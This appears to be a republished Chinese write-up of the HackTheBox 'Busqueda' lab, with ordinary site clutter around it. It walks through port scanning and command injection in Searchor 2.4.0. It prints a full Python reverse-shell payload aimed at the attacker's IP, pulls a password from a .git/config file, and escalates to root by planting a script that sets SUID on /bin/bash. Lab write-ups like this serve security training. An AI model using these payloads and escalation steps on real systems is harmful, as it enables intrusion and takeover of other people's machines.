当前位置: 首页 > news >正文

【HackTheBox】- Busqueda 靶机学习

目录

  • 1. 信息收集
  • 2. 80 端口
  • 3. 提权


难度: Easy
OS:Linux

1. 信息收集


先快速扫描全端口:rustscan -a 10.129.126.37 -r 1-65535

在这里插入图片描述

只开放了22和80端口,再用nmap探测详细的服务:nmap -p22,80 -AO -sV -sT 10.129 .126.37

在这里插入图片描述

2. 80 端口


浏览器访问80端口,依然被重定向到 searcher.htb,在 /etc/hosts 文件中写入,执行命令:echo "10.129.126.37 searcher.htb" | sudo tee -a /etc/hosts


重新访问80端口:

在这里插入图片描述

看起来是个搜索查询的功能。

但是还是先扫描一下目录:dirsearch -u http://10.129.126.37

用ip作为参数的话,执行结果全是302。修改为域名:dirsearch -u http://searcher.htb/

在这里插入图片描述

还是什么结果都没有。

从功能上来看,如果不点击自动跳转的话,会显示一个拼接的网址,如果跳转的话,会直接跳转。


点击查询,抓个包看看:

在这里插入图片描述


query字段后面加上单引号的返回的内容会有所不同,试一试sqlmap:sqlmap -r 1.txt

但是没有什么结果。深入想一下,这里只是把我们输入的关键字做了个拼接,应该没有直接和数据库交互,所以应该不存在sql注入的漏洞。

再从网站架构入手,whatweb扫描了一下也没有什么东西:python语言,Werkzeug库

在这里插入图片描述

在网站的底部发现了Searchor 2.4.0:

在这里插入图片描述


在 searchsploit 中没有发现 Searchor 相关的漏洞。但是在github中发现了一个:

在这里插入图片描述

有问题的代码:

在这里插入图片描述


试一下这个脚本:https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection/blob/main/exploit.sh

在kali中监听端口8888:nc -lvvp 9001

执行脚本:./search.sh searcher.htb 10.10.16.16

在这里插入图片描述

找到了user.txt:

在这里插入图片描述

在相关链接中发现了poc:', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

构造数据包:

engine=', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.16.16',8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#&query=A5

3. 提权


先查看是否有 suid 权限:sudo -l

在这里插入图片描述

需要密码。

查看网站目录的文件,看一下 app.py 文件的内容,没有什么收获,看一下 .git 目录:

在这里插入图片描述

进入 .git 目录,发现了一个config文件,看文件内容:

在这里插入图片描述


获取到一对凭据:cody:jh1usoih2bkjaspwe92

尝试ssh登录:ssh cody@10.129.228.217

输入密码后一直登录不上:

在这里插入图片描述

查看 /etc/passwd 是否有其他账户:

在这里插入图片描述

可以远程登录并且获取shell的只有 root 和 svc 用户。

所以用svc再登录尝试:ssh svc@10.129.228.217

在这里插入图片描述

成功登录进来了。

现在再想一下为什么cody无法登录,因为文件中的 url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git 是 Git remote 的配置(.git/config)里把远端仓库 URL 写成了 http://user:pass@host/...的形式。Git/HTTP 支持在 URL 中嵌入 basic auth,所以可能把凭据直接写进了 remote URL。

这不是 Linux 系统账户,也不是说系统上必须有cody用户。它是远程 Git 服务(gitea.searcher.htb)上的一个仓库账号的凭据,用来做 git pull/push 的认证。


现在知道了svc账户的密码,就可以查看 suid 权限:sudo -l

在这里插入图片描述

进入脚本的目录,查看一下权限,发现只有执行权限。

尝试执行:sudo /usr/bin/python3 /opt/scripts/system-checkup.py *

在这里插入图片描述


按照提示信息执行一下:

在这里插入图片描述


猜测是调用的 scripts 目录下的 full-checkup.sh 脚本来执行了命令。

所以接下来的思路就是写一个文件 full-checkup.sh ,我写在了 /home/svc 目录下。文件内容如下:

#!/bin/bash
chmod +s /bin/bash

三个注意的点:

  1. 写完文件以后要快速执行,因为系统会删除我们写入的文件。

  2. 给文件执行权限

  3. 文件名字一定是 full-checkup.sh


进入目录:cd /home/svc

写文件:vim full-checkup.sh

给文件执行权限:chmod 777 full-checkup.sh

执行脚本:sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

在这里插入图片描述

看一下 /bin/bash 文件是否有了suid:ls -al /bin/bash

执行命令获取root权限:bash -p

在这里插入图片描述


http://www.dtcms.com/a/487701.html

相关文章:

  • 127.XIlinx fpga端的pcie(XDMA)与驱动是如何交换数据的
  • 个人网站名称怎么起济南的互联网公司有哪些
  • 在Docker中pip离线安装python的各种包
  • 建设电子商务网站的方法有?网站开发软件三剑客
  • 企业网站管理系统(多语言+多模板)
  • 设计师去哪个网站找工作wordpress linux下载
  • 机器学习入门,无监督学习之K-Means聚类算法完全指南:面向Java开发者的Python实现详解
  • Java 设计模式——代理模式:从静态代理到 Spring AOP 最优实现
  • 网站制作公司属于广告发布者吗自己买服务器搭建网站
  • 有哪些好的建站平台泰兴企业网站建设
  • 阜宁专业做网站广告推广广告
  • 网站建设多少钱需要wordpress商品展示插件
  • c语言位运算 汇编代码分析
  • 民制作网站哪家便宜西安单位网站制作
  • 云南网站开发建设大丰网站建设价格
  • 横山桥网站网站用户群
  • 制作网站培训长沙seo招聘
  • 两阶段不确定性优化:一种用于解决“现在决策、未来见效”问题的强大建模框架。
  • 香港虚拟主机和香港云服务器哪个更安全?
  • 苏州网站建设案例什么是电子商务网站推广
  • 浙江建筑网站南上海网站建设
  • 制作企业网站需要注意的事项wordpress 重装
  • 个人怎么做淘宝客网站seo网站推广的主要目的
  • 输电通道运维助手:重要输电通道沿线气象及覆冰观测系统
  • 镇江网站建设优化排名wordpress 搜索栏目
  • 【论文推导】Tube-based MPC-辅助控制器设计
  • PSG技术文章大纲
  • 网站建设常用模板下载尚志网络推广
  • vxe-table编辑模式适配el-date-picker
  • 外贸人自己搭建外贸网站wordpress广州网站制作报价